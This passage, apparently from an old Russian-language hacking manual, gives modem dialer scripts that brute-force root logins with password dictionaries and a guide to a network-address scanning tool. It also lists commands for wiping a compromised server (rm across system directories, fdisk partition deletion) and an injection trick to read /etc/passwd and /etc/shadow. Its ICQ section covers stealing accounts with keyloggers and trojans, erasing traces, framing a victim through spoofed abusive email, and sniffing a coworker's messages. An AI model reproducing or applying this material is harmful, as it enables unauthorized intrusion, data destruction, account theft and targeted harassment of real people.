пробелами. Вы можете использовать #DEFINE любые специфические переменные. Вам их
нужно только определить.
STRING
Символы пересылаются из модема в последнюю строку.
STRING2
Последние 250 символов отправляются из модема.
DIAL_TRIED
Фактические попытки набора номера.
LOGIN_TRIED
Фактические попытки получить имя и пароль.
TIME
Действительное время в часах и минутах (двоеточие пропускается). Например,
TIME=1505 означает 15:05.
DATE
Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.
DIC(1)
Текущий загруженный словарь 1.
BRUTE(2)
Текущая строка словаря Brute Force Generator 2.
S_TMP
Переменная строка. Вы можете ее использовать, как вам нравится.
D_TMP
Переменная для цифр. Вы можете ее использовать, как вам нравится.
В командах IF и SET вы можете использовать исключительно вышеописанные
переменные. Переменные из #DEFINE исключаются. Только статические переменные и
константы приемлемы для IF!
Не стоит также использовать знак $ перед переменной. Этот знак допустим только в
командах SEND, LOG и WAIT4STRING.
Например:
IF TIME>1215 THEN GOTO #END (отсоединиться после 12:15).
LOG($DIC(3))
SEND($S_TMP)
Теперь относительно спецсимволов. Вы можете записывать любые управляющие символы
вместе с командами LOG, SEND или WAIT4STRING через знак ^ (шапочка). Это
означает, что вы можете ввести, например ^M или написать ^^ ... окей?, или
использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и ^^.
Например:
SEND_(^D)
#DEFINE
<определения>
#NOCARRIER
<некоторые команды>
#START
<ваш алгоритм>
#END
Сообщения об ошибках
Если в процессе компиляции вы получаете сообщение об ошибке, то помните, что в
вашем распоряжении имеется файл <name>.BAK. Просмотрите и внимательно изучите
содержимое этого файла.
При компилировании скрипта может всплыть только два сообщения об ошибке:
● WARNING
Вы что-то не так скомпилировали. Компилятор в любом случае создаст скрипт,
который может запуститься без всяких проблем.
Это сообщение, например, может быть выдано, если невозможно найти указанного
словаря. Возможно, что вы не полностью подготовили копию.
● ERROR
Это критическая ошибка. В какой-то момент компилятор прервал необходимую
процедуру завершения. Для исправления этой ошибки, проверьте файл с расширением
.BAK и ваш исходный файл.
Пример стандартного скрипта
#DEFINE
PHONE_NR=,
LOGFILE=lh&scave.log
DIC(1)=d:\ project\ hack\ word\ badpws.dic
; задайте корректный путь к вашему словарю
#NOCARRIER
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
LOG(Carrier lost on $DATE at $TIME)
LOG( )
GOTO(#START)
#START
SET S_TMP=UNDEFINE
;SET S_TMP=DEFINE
HANGUP
LOG_SESSION_ON
SET STRING2=
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
IF S_TMP=UNDEFINE THEN SEND(AT H1)
EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
:111
SEND(ATD)
SET D_TMP=0
:112
WAIT(1)
INC(D_TMP)
IF D_TMP>50 THEN GOTO(99)
CHECK4CARRIER(112)
SEND( )
; послать возврат каретки после соединения
:1
WAIT(1)
IF STRING2~assw THEN GOTO(2)
GOTO(1)
:2
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(3)
GOTO(50)
:3
SET STRING2=
:4
WAIT(1)
IF STRING2~assw THEN GOTO(5)
GOTO(4)
:5
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(6)
GOTO(50)
:6
SET STRING2=
:7
WAIT(1)
IF STRING2~assw THEN GOTO(8)
GOTO(7)
:8
SEND_NEXT_DIC(1)
WAIT4STRING(10,,1,GOTO(50),ncorr)
GOTO(99)
:50
BEEP
BEEP
BEEP
LOG(——————- —————————-)---- -------------------)
LOG($DATE $TIME)
LOG( )
LOG(PASSWORD: $DIC(1))
LOG( )
GOTO(150)
:99
CHECK4CARRIER(OFF)
IF S_TMP=UNDEFINE THEN GOTO(#START)
EXECUTE(scavenge.exe /s rebreak.scr)
; создание скрипта для перенабора номера и дозвона до цели
GOTO(111)
:150
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
GOTO(#END)
#END
Первый пример скрипта
Системный дескриптор: UNIX на F.
Но вы никогда не должны это делать.
#DEFINE
LOGFILE=C:\ OUTPUT\ NY-SYS5.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
DIC(1)=C:\ HACKING\ DICTIONA.RY\ BAD_PWS.DIC
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG( )
GOTO(#START)
#START
LOG(—————————————- ——-)---- -------------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG( )
:1
LOG(Dialing ...)
DIAL
LOG($STRING)
LOG_SESSION_ON
SEND( )
SEND( )
WAIT4STRING(15,^M,4,GOTO(1),name)
SEND( )
LOG_SESSION_OFF
:2
SEND(CONNECT HACK.THIS.SYSTEM.EDU)
:3
WAIT4STRING(30,^C,1,GOTO(2),ogin:)
SEND(root)
WAIT4STRING(20,^D,1,GOTO(2),assword:)
SEND_NEXT_DIC(1)
IF STRING~ogin: THEN GOTO(3)
IF STRING~refused THEN GOTO(2)
LOG( )
LOG($STRING)
LOG( )
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Login : root)
LOG(Password : $DIC(1))
LOG( )
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Второй пример скрипта
#DEFINE
INIT_MODEM=AT&N15
INIT_DATA=7E1
LOGFILE=C:\ OUTPUT\ TELEKOM4.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
BRUTE(1)=1,1,1,12
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $BRUTE(1))
LOG( )
GOTO(#START)
#START
LOG(————————————————- ——)---- -------------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG( )
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(15,^M,4,GOTO(1),PA)
:2
SEND_NEXT_BRUTE(1)
WAIT4STRING(3,^M,2,GOTO(3),PA)
GOTO(2)
:3
LOG_SESSION_ON
SEND( )
SEND(?)
SEND(HELP)
SEND(HILFE)
LOG( )
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $BRUTE(1))
LOG( )
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Третий пример скрипта
Этот скрипт может быть использован на некоторых небесплатных телефонных линиях
0130-xxxxxx.
; Система требует пароль
; Неограниченное количество попыток позволяет войти в систему
;
; 30xCrLf
; PASSCODE:*****
;
#DEFINE
INIT_MODEM=AT &F L2
INIT_DATA=8N1
LOGFILE=xxxxxx.LOG
PHONE_NR=0130xxxxxx
DIAL_TRIES=5
LOGIN_TRIES=0
DIC(1)=C:\ 2\ thc-lh09\ w1.w
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG( )
GOTO(#START)
#START
LOG(—————————- ————-)---- -------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG( )
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(30,.^M,3,GOTO(1),PASS)
:2
set string=
SEND_NEXT_DIC(1)
wait(1)
LOG($DIC(1))
; да, регистрироваться с каждой попытки!
WAIT4STRING(15,.^M,3,GOTO(3),PASS)
GOTO(2)
:3
LOG_SESSION_ON
SEND( )
SEND(?)
SEND(HELP)
SEND( )
LOG( )
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $DIC(1))
LOG( )
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Четвертый пример скрипта
Это скрипт предназначен исключительно для платформ Telnet.
#DEFINE
init_modem=z
init_data=8n1
LOGFILE=xxxxxx.log
PHONE_NR=xxxxxx
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=D:\ hackusr\ dictbig.txt
;dic(2)=d:\ hackusr\ bigdict2.txt
;dic(3)=d:\ hackusr\ bigdict3.txt
#NOCARRIER
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG(returning ...)
GOTO(#START)
#START
HANGUP
LOG_SESSION_ON
LOG( )
log( )
log( HaCK ATTeMPT STaRTeD ......)
log( )
log( TaRGeT: $PHONE_NR )
log( DaTe: $DATE )
log( TiMe: $TIME)
log( )
log( )
log( ......DiaLiNG)
dial
log( )
log( ......CoNNeCTeD!)
log( )
log( )
wait(5)
:1
wait4string(1,^M,5,goto(#start),sername>)
send(fh65)
:2
wait4string(1,^M,5,goto(#start),ocal>)
send(connect 189.25.56.7)
:3
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^C,5,goto(4),ogin:)
send(root)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:4
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^D,5,goto(4),assword:)
send_next_dic(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:5
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:6
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:7
beep
beep
beep
beep
beep
beep
beep
beep
beep
log( )
log( )
log( )
Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
log( )
log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
log( )
log( )
log( )
log( ACCouNT: root)
log( PaSSWoRD: DIC(1))
log( )
log( )
log( )
#END
3.34. Сканирование адресов пользователей
Операции по сканированию сетевых адресов мы разберем на основе весьма известной
программы Network User Address Attacker. Это программа известного сообщества
P/H/A. NUA Attacker написан на Turbo C 2.0 хакером Доктором Диссектором. Network
User Address Attacker сканирует клавишную панель SprintNet. При этом программа
способна распознать ошибки кодов на SprintNet и других типах соединений. Каждый
отсканированный сетевой адрес может зарегистрироваться под logfile с описанием
возвращенного кода ошибки или краткой суммой данных главной системы. Каким
образом программа дозванивается до Net и сканирует сетевые адреса пользователей?
Диапазон сканирования задается атакующим. Кроме этого, в прилагаемом к программе
файле SND390.TXT имеется список некоторых модемных телефонных номеров. Вы
можете, конечно, использовать только известный вам номер, то есть тот номер,
который наиболее близко соответствует вашему региону.
Эта программа может быть наиболее полезной при поиске сетей с коммутирующими
пакетами или на основе UNIX. Автор этой программы надеется, что любые ошибки
найденные в ней будут переданы через сообщество P/H/A хакерам Доктору
Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному Анархисту.
Файлы программы
NUAA.EXE
Программа NUA Attacker.
NUAA.DOC
Документация.
README.PHA
Прочтите это сначала!
SND390.TXT
Список телефонных номеров Net.
NUAA.CFG
Отчет о текущей атаке и конфигурации модема.
NUAFILE.PHA
Список сетевых адресов пользователей.
LOGFILE.PHA
Список сетевых адресов пользователей, составленных атакующим. В этом файле также
содержатся коды ответа NUA, полученные атакующим.
Файлы NUAfile и Logfile могут модифицироваться. Файлы NUAFILE.PHA и LOGFILE.PHA
— это обыкновенные текстовые файлы, вы можете редактировать их в любом текстовом
редакторе.
Кроме того, если файл уже существует, то любые данные добавятся к тому имени
файла, которые существуют в файле с меткой EOF.
Запуск программы
Для запуска NUA Attacker введите с вашей консоли следующее:
C:\ >NUAA [/I]
Параметр /I позволяет вам начать выполнение программы без инициализации модема
перед сканированием адресов. В этом случае, когда вы выберите команду Begin
attack (Начать нападение), NUA Attacker сразу начнет сканирование адресов (если
вы предварительно зарегистрировались в системе, то теперь вы снова должны
зарегистрироваться на Net через приглашение @).
Настройка режима сканирования
Настройка сканирования адресов осуществляется через команду Setup attack. В
появившемся диалоговом окне выполните настройку следующих опций.
Phone Number
Телефонный номер Net (SND390.TXT).
Starting NUA
Начальный сетевой адрес пользователя.
Ending NUA
Конечный сетевой адрес пользователя.
Timeout
Время ожидания ответа от сетевого адреса пользователя.
Log filename
Имя файла, в который будут выводится сообщения об ошибках и информация о
неудачных попытках соединения.
NUA filename
Имя файла, в который будут выводится сетевые адреса пользователей (по умолчанию
это файл NUAFILE.PHA).
Decimals
Включить или отключить режим десятичного сканирования.
Пользователи Net используют сетевые адреса в формате: XXXXXX.XX.NUA Attacker
поддерживает сканирование десятичных чисел.
Например, если вы настроите эту опцию так:
Starting NUA: 619100.10
Ending NUA: 619200.10
то программа начнет сканирование с 619100.10, следующий адрес сканирования
соответствует 619100.11, затем пойдет 619100.12 и так далее.
При настройке сканирования вы можете воспользоваться следующими горячими
клавишами:
● ESC
Выйти из диалогового окна Setup attack без сохранения модифицированных
параметров.
● ALT-S
Сохранить модифицированные параметры в память компьютера.
После того, как вы выполните настройку сканирования, вы можете также сохранить
ее на диск выбрав из меню File commands команду Save options. При этом
сохранятся и все модифицированные параметры настроек модема.
Несколько слов по поводу формата сетевого адреса. Допустим, что вы произвели
настройку так:
Starting NUA: 6191 *WRONG* Ending NUA: 619100 *RIGHT*
Это означает, что сканирование проходит в диапазоне с 6191 по 6199 с пропуском
6200. Поэтому вы должны настроить параметры сканирования так:
Starting NUA: 619001 *RIGHT*
Ending NUA: 619100 *RIGHT*
то есть оба числовых поля должны иметь одинаковую длину.
Настройка модема
Настройка модема осуществляется через диалоговое окно Modem parameters.
● COM Port
Порт, который использует ваш модем.
● Baud Rate
Скорость передачи данных в бодах (например, 9600).
● Initialization
Инициализация терминальной строки перед началом сканирования. Эта опция также
поддерживает Hayes-совместимые модемы.
● Dial Prefix
Префикс перед телефонным номером.
● Dial Suffix
Символ, который будет стоять после телефонного номера. Этот символ прошивает ваш
модем соответствующим параметром.
● Hangup
Прервать последовательность передаваемых данных.
3.35. Процесс сканирования
Выберите опцию Begin attack. После этого произойдет следующее:
1. Инициализация модема.
2. Набор номера Net. Этот номер соответствует настройкам, произведенных в
диалоговом окне Setup attack.
3. Ожидание приглашения TERMINAL= и загрузка параметра D1. Параметр D1 означает,
что ваш компьютер вошел в сеть.
4. Ожидание приглашения @.
5. Сканирование. Сканирование соответствует параметру Starting NUA диалогового
окна Setup attack.
После того, как сканирование сетевых адресов закончится, NUA Attacker выйдет из
сети.
В процессе сканирования вы можете воспользоваться следующими горячими клавишами:
ALT-B
Передать в Net сигнал, соответствующий прерыванию соединения.
ALT-H
Повесить трубку. В этом случае программа начнет работать в режиме Pause.
ALT-X
Повесить трубку и выйти и прекратить атаку.
ESC
Временно остановить процесс сканирования.
В процессе нападения на экране вашего монитора будут появляться следующие
сообщения:
Starting NUA
Сетевой адрес, который программа начинает сканировать.
Ending NUA
Отсканированный сетевой адрес.
Connections
Количество соединений, найденное в текущем сканировании.
Current NUA
Сетевой адрес, который программа отсканировала в данный момент времени.
Log
Logfile.
NUA
NUAfile.
Time/Elapsed
Текущее время и время сканирования.
Status
Код соединения и/или соответствующая информация о состоянии модема.
Last
Код последнего соединения и/или соответствующая информация о состоянии модема.
В диалоговом окне Setup attack обратите внимание на переключатель в Bad Pad.
Если выбрана опция Y, это означает, что программа посылает в сеть строку 10
<SPACE><CR> и каждый раз ждет две секунды до тех пор, пока не появится
приглашение @ или TERMINAL=. (то есть до непосредственной регистрации на Net).
Некоторые клавиатуры медленно реагируют на регистрацию в сети. Особенно это
относится к высоким скоростям. Поэтому, если вы не можете зарегистрироваться,
активизируйте параметр Y.
3.36. Убить “демонов”!
Демон — это процесс в UNIX системе, который предоставляет вам некоторые услуги.
Например, в Internet:
● Ftpd (ftp daemon) port 21
● Telnetd (telnet daemon) port 23
● Smtpd (smtp daemon) port 25
● Httpd (http daemon) port 80
● Pop3d (pop3 daemon) port 110
Предположим — вы взломали систему и просто хотите “западлить” ей. Тогда (от
root’a) пишем:
#killall httpd
И вот результат — web-страница системы не доступна.
#killall ftpd
Результат — ftp-сервис недоступен.
Правда, администратор проще простого запустит все обратно:
Администратор (от root’a):
#httpd start (если Linux)
#apachectl restart (если FreeBSD и некоторые другие ОС с web сервером apache)
А теперь ftpd:
#ftpd (все очень просто!)
Как сделать чтобы система вообще навернулась. Довольно просто. Вот пример
простейшей атаки, цель которой — уничтожить информацию на винчестере атакуемого
сервера (от root’a):
#cd /
#rm * (удаляет все (!) файлы в корневом каталоге)
#cd /boot
#rm *
#cd /bin
#rm *
#cd /sbin
#rm *
#cd /usr/bin
#rm *
#cd /usr/sbin
#rm *
Эти строки, после выполнения удалят все жизненно необходимые файлы для системы…
(кроме /etc, но об этом позже).
Будьте аккуратны, т.к. команда rm находится в одном из каталогов:
● /bin
● /sbin
● /usr/bin
● /usr/sbin
Если ее удалить, то дальнейшее удаление будет невозможно (с помощью команды rm
конечно). Чтобы этого избежать — просто узнайте где эта команда находится:
#which rm
Эта строка выдаст вам директорию, в которой находится команда rm. Удаляйте ее
последней.
Хотите красиво заподлить?
Без проблем:
#cd /etc
#rm *
Это удалит все настройки системы!
А теперь пишем:
#reboot
Что в итоге (после сотни сообщений об ошибках) перегрузит сервер или просто
подвиснет его…
Вот и все, система на 100% неработоспособна…
Вы очень злой на этот сервер? Тогда пишем (от root’a):
#fdisk
Затем вводим p (это выведет нам все разделы винчестера. А теперь (например, если
разделов 4), пишем:
d (enter), 4 (enter)
d (enter), 3 (enter)
d (enter), 2 (enter)
d (enter), 1 (enter)
Теперь жмем w и Еnter.
Все! Система вообще навернулась! (Компьютер даже загрузится не сможет!)
Есть в UNIX команда dd, наверное самая опасная из всех существующих (разумеется
при неумелом использовании). Вот, что я однажды натворил. Работал я тогда под
SlackWare:
Два винта:
hda1 - slack ; hda2 - dos ; hdc2 - slack
И вот я пишу (моя проблема была в том, что DOS, как обычно, переписал MBR
(Master Boot Record) и я не мог грузить hdc2 (SlackWare). Вы наверно спросите —
а разве нельзя грузить UNIX с дискеты? Конечно можно! Но у меня не работал
флоп…):
dd /dev/hda /dev/hdc 0 512
А теперь по-русски:
Копируем первые 512 байт с одного винта на другой. Что в этих 512 байтах? Master
Boot Record (MBR). Значит я нечаянно нажал не “ту” кнопку и… ничего не
произошло…
Я ввожу строку еще раз и забываю указать 512 (в конце строки)…
И что???
А вот что — команда dd начала копировать раздел (весь) hda в hdc!
И летит полностью раздел hdc!
Я за долю секунды понял, что сделал что-то не то… и нажал Ctrl+С, что прервало
выполнение программы dd. Но все мои усилия оказались напрасны… команда dd уже
скопировала около 20 Кб с одного винта на другой…
Винт пришлось переразбивать и переформатировать…
В результате я потерял около 8 часов времени при переинсталляции всего что было,
неделю на скачивание всех нужных мне программ с Internet и около 2-х месяцев
моих работ…
Отсюда вывод: никогда не экспериментируйте с такого рода программами как dd и
fdisk.
А теперь, как говорится ближе к телу (я имел ввиду делу).
Способы проникновения в удаленную систему
99% провайдеров вы так просто не взломаете (сразу), поэтому забудьте (на время)
про их взлом! Ведь там же не полные ламера сидят (хотя и такое бывает…
А теперь непосредственно шаги (или действия) для взлома.
Вы должны просканировать атакуемый хост (сервер) (пример с использованием
программы portscanner):
#portscanner 55.55.55.55 1 1024
где 55.55.55.55 — IP-адрес хоста; 1 — с какого порта начинать;
1024 — каким закончить.
Далее (по истечении n-го времени) мы получаем ответ (по большей части
стандартный):
21
22
25
80
110
Теперь запускаем следующие команды:
#telnet HOST_IP 21
#telnet HOST_IP 22
#telnet HOST_IP 23
#telnet HOST_IP 80
#telnet HOST_IP 110
Обязательно после выполнения каждой команды и перед вводом следующей —
записываем версию, название и релиз демона на порте.
Теперь — остается самое простое — найти exploit к этому демону…
Не работает?
Вот возможные ошибки:
1. Вы ошиблись в версии;
2. Вы ошиблись с IP-адресом;
3. Хост, который вы атакуете, уже пропатчен;
4. Вы неправильно используете exploit.
Более простые методы взлома
Вот простой метод взлома (очень популярный среди новичков) — это взлом через
CGI. Что такое CGI? Это Common Gateway Interface.
CGI программы выполняются на сервере, а данные выводят вам в виде html или
других видов mime-types (например gif).
Вы вероятно задавали себе вопрос — как работают баннерные системы, счетчики
страниц, чаты, доски объявлений, различные формы и т.д. Безусловно, все они
используют CGI…
Вот простой пример использования CGI, написанного на Perl:
#!/usr/bin/perl
print "Content-type: text/html\ n\ n";
print "Hello!\ n";
Эта простейшая из всех простейших программ выведет (при ее запуске на сервере) в
вашем браузере строчку:
Hello!
и перевод каретки.
А вот, простой пример текстового счетчика (можете поставить его к себе на
страничку). Условия, чтобы он работал:
1. Файлы
● Count.cgi — имя файла с программой;
● Count.dat — имя файла с данными о посещениях.
2. Права доступа: (предполагается, что вы находитесь в директории с этими
файлами):
● Count.cgi 755. Т.е.
#chmod count.cgi 755
● Count.cgi 777. Т.е.
#chmod count.dat 777
Если у вас нет telnet доступа к серверу, а только ftp доступ, то найдите
программу ftp, которая поддерживает функцию chmod или используйте текстовую
версию программы ftp.
Теперь содержимое программы count.cgi:
#!/usr/bin/perl
print "Content-type: text/html\ n\ n";
open (file,"count.dat);
@dat=<file>;
close (file);
$dat[0]++;
open (file,">count.dat");
print "$dat[0]\ n";
close (file);
print "Всего посетителей $dat[0]\ n";
Файл count.dat должен содержать всего одну строчку с количеством посещений
(например 5).
Вот и все! Теперь каждый раз, после обращения к count.cgi количество посещений
будет расти на 1.
Теперь вы знаете некоторые основы CGI и готовы ко взлому через него… Не
пытайтесь взламывать поисковики и подобные им системы (с хорошей посещаемостью)
т.к. все они очень хорошо пишут CGI скрипты! Попробуйте найти какой-нибудь
ламерский сайт (желательно зарубежный, т.к. их больше и по количеству, и по
ламерам в виде администраторов), так как есть одно правило: “Сложность взлома
прямо пропорциональна посещаемости сайта”.
А теперь ко взлому… (Этот метод работает не на всех системах, но в некоторых все
же пашет…)
Скрипт рассылки (записывает ваш e-mail и высылает вам что-то). Вместо e-mail
пишем просто:
cat /etc/passwd
или
cat /etc/master.passwd
или
cat /etc/shadow
Попробуйте все три строки (по очереди). Если пишется ошибка, то возможно, так их
не суждено взломать.
А если пишется что-то типа:
Root:fdkjhgSFDgf:………
То вы набрели на файл паролей… Теперь вам необходимо его расшифровать (например
john the ripper’ом) и вы явным образом можете проникнуть в систему. Вывод:
скрипты иногда позволяют запускать на удаленной машине программы.
3.37. Технология обрыва стэка
Обрыв стека — это когда вы вешаете какой-нибудь демон, посылая недопустимый
набор символов на его порт.
Что при этом происходит? При аварийном выходе демона, он (демон) сбрасывает
память (ОЗУ) на винчестер. При этом из этого сброса, помимо всякого мусора,
можно вытянуть много полезной информации, например, — те же пороли для входа в
систему.
Сброс на винт делается специально для разработчиков данного демона, чтобы они
(разработчики) могли просмотреть, как он (демон) навернулся. Где этот Файл? Файл
всегда находится в каталоге с демоном и называется (обычно) “.core”. Как
“оборвать” демон? Есть множество различных путей, например, послать недопустимый
набор символов на порт этого демона, что может привести к тому, что он
“грохнется”.
Многие наверно помнят пол-кбайта, которые вешали любой
real-networks сервер (сервера для проигрывания real-audio/real-video форматов).
Кстати, это было не так давно…
3.38. Охота за UIN’ом - Bugs, Crack и Social Ingineering
Итак я вышел на тропу войны: хочу быть смелым и красивым, с шестизначным UIN
номером и чтоб все поняли что миллионные числа это не серьезно, вот посмотрите
на меня — я был одним из первых пользователей или неважно кем я был, важнее кем
я стал. А как я стал, сейчас расскажу.
На мой взгляд самый реальный и предельно простой способ: исследование Internet
Сервис Провайдера и соседских сетей на предмет тех пользователей, кто имеет
открытые зашаренные диски и не защитили их пассвордом. Находятся такие люди
программой “Легион”. Из пяти сотен проверенных компьютеров более тридцати имело
открытым диск C:\ с полным доступом. Все они являлись пользователями ICQ. Выбор
UINов просто потрясающий — от 20xxxx до 80xxxxx. Смотрим C:\ Program Files\ ICQ\
UIN и видим number.uin — внутри этого файла всего лишь несколько строк с
информацией о номере, имени, нике и e-mail адресе хозяина. Если номер
устраивает, ставится keyboard sniffer который запишет в лог все то, что
пользователь введет в клавиатуры.
ICQ имеет три уровня секьюрити — Low, Medium и High. Чем выше уровень секьюрити
у пользователя тем быстрее получается полный доступ к его пассворду. Иными
словами, чем выше уровень защиты — тем больше вероятность, что жертва введет
пассворд для того чтоб использовать ICQ. Ставится троян для облегчения
дальнейшего доступа и перезагружается машина (перезагрузка машины зависит от
многочисленных факторов, от операционной системы до скорости подсоединения к
сети). При благоприятном стечении обстоятельств получение пассворда к выбранному
UINу займет десять, от силы двадцать, минут — ровно столько, сколько потребуется
на reboot, дозвонку на провайдера, запуск ICQ и введение пассворда, далее
берется лог созданный keyboard sniffer и читается пассворд. Все.
Более того, возможность того что после всего этого останутся какие-либо логи или
иные следы взлома ничтожно мала: уничтожается лог, sniffer и троян.
Вы что, уже уходите? А что, у вас еще что-то осталось?
Начнем с того, что если вы зарегистрировали аккаунт и забыли к нему пассворд,
достаточно заявить свой UIN на http://www.icq.com/password/ и в течении
нескольких дней служба технической поддержки ICQ вышлет на указанный вами при
регистрации e-mail адрес забытый пассворд.
Теперь рассмотрим это с позиции хакера — для того чтобы получить пассворд к
определенному UINу надо лишь заявить о потери памяти и пойти проверить e-mail.
Как прочитать сообщение адресованное не вам — это другая история. Например,
существует POP3 Password Crack — имя логина и домейн нам уже известны. Главное —
это предельно правильно идентифицировать систему и тип сервера, аккаунт на
котором необходимо проверить и искать инструменты взлома этой конкретной
конфигурации. Например, недавно разразился громкий скандал по поводу hotmail.com
в связи с очередной недоработкой славной фирмы Микрософт, дающей возможность
миллионам людей право читать e-mail друг друга, чего они совершенно делать не
должны.
Рассмотрим конкретный вариант: некто Вася Табуреткин зарегистрировал себе ICQ
аккаунт под номером 777777. Какой замечательный UIN! Смотрим какой у Васи
e-mail, видим vasya@something.com. По номеру UINа можно сделать вывод, что он
был зарегистрирован более 2 лет назад. Если sometihg.com является публичным
бесплатным e-mail сервисом, вполне может обнаружиться что Вася этот аккаунт не
пользовал и более такого адреса не существует. Как результат происходит
регистрация точно такого же аккаунта, заявляется о потери пассворда и проверятся
новый e-mail на предмет пассворда от 777777.
Существует другой, более сложный вариант игры: лишение Васи обладания его e-mail
адресом.
Есть конкретные правила поведения пользователей сервиса (например: email —
нельзя спамить, web — нельзя порнографии), нарушая которые пользователи как
правило лишаются права на адрес или web-страницу. Кто мешает хакеру написать
несколько десятков тысяч воззваний о легализации детской порнографии и
проституции от имени vasya@something.com? Установите тип сервера, узнайте язык
общения с ним клиента и пошлите все эти воззвания самому себе и своим друзьям
(или на свои другие e-mail аккаунты) указав обратным адресом
vasya@something.com. Далее вы и ваши друзья должны будете переправить все
“полученное” от Васи по адресу администратора домена с нотой протеста против
легализации и просьбой наказать виновного. “Послания” Васи следует уничтожить и
в завязавшейся переписке с администрацией сообщить, что следов преступления
осталось мало: вы все стерли так как были шокированы и праведный гнев обуял вас
так сильно, что всем подъездом вас держали. Попросите администратора обязательно
держать вас в курсе дела. Далее пошлите сообщение того же самого содержания,
используя Васин обратный адрес, вашим другим друзьям или на ваши другие аккаунты
и напишите администрации о этом безобразии в других словах. Создайте видимость,
что этот Вася шлет тысячами сообщения о нелегальных вещах группе незнакомых
между собой людей… Прогнозирую до 80% успеха, у Васи отнимут аккаунт, о чем вам
заявят как о большом достижении в борьбе с спамерами и рассадниками порнографии.
Вы в тот же день зарегистрируете аккаунт на себя и заявите о потере пассворда. В
итоге у вас долгожданный UIN и твердая уверенность в том, что если вы имеете
бесплатный e-mail — никто никогда у вас его не отнимет.
Попытка — не пытка, как говорил товарищ Берия
Поиграем с тем, что ICQ имеет лимит на длину пассворда 8 знаков. В Windows среде
поменять пассворд на свой UIN нельзя или достаточно сложно — для этого
существует функция в клиенте. В Linux, например, в большинстве случаев имеется
файл, в котором существует графа password, куда пользователь вписывает свой
пассворд (при возможности хака юниксовой машины пассворд читается без малейших
затруднений, но как получить доступ к домашней директории пользователя или
доступ root — это уже совершенно другой разговор).
Теперь давайте попробуем прописать в Linux ICQ клиент-конфигурационный файл, тот
самый желаемый вам UIN и пассворд из любого набора букв длинной в 9, а может и
больше знаков. Попробовали?
При благоприятном стечении обстоятельств вы сможете получать и отправлять
сообщения от лица выбранного вами UINa. Если ваш Linux ICQ клиент поддерживает
любую длину пассворда и возможность его смены на сервере — вы берете тот
аккаунт, который вам нравится.
Данный баг работал достаточно долго и надеюсь создатели ICQ защитили своих
клиентов, но кто знает…
“Она же… Валентина Понеяд… Она же…”
Вопрос: Может ли кто-либо изменить пассворд моего ICQ аккаунта без получения
доступа на мой компьютер и e-mail?
Ответ: Да, отвечу я и посоветую искать инструмент взлома ICQ под названием
“ICQhijeck”. При наличии IP жертвы, его UINa и номера порта для связи с клиентом
ICQhijeck пошлет spoofed пакет, заявляющий о себе, что пакет принадлежит самому
клиенту и несет в себе задачу смены пассворда. Пассворд выбирает нападающий.
Кстати, использование сниффера вообще всегда является хорошей идеей сбора
информации.
Вопрос: меня зовут Петя Иванов, у меня в офисе на одной со мной сетке сидит Маша
Пилюлькина и она страшная стерва. Что я могу сделать с ней и ее ICQ?
Ответ: испортить ей жизнь. Если вы находитесь на одном и том же фрагменте сети,
у вас все карты в руках, “ICQsniff” отдаст вам Машин пассворд, да и впрочем
пассворды всех других пользователей ICQ в вашей конторе. Более того, существуют
методы перехвата сообщений от одного пользователя другому и коррекция их,
например, вы можете следить за перепиской Маши и вашего босса.
Как только вам в этой переписке что-то не понравится, можете сообщить боссу от
лица Маши все, что вы думаете о предмете обсуждения и заявить, что он как
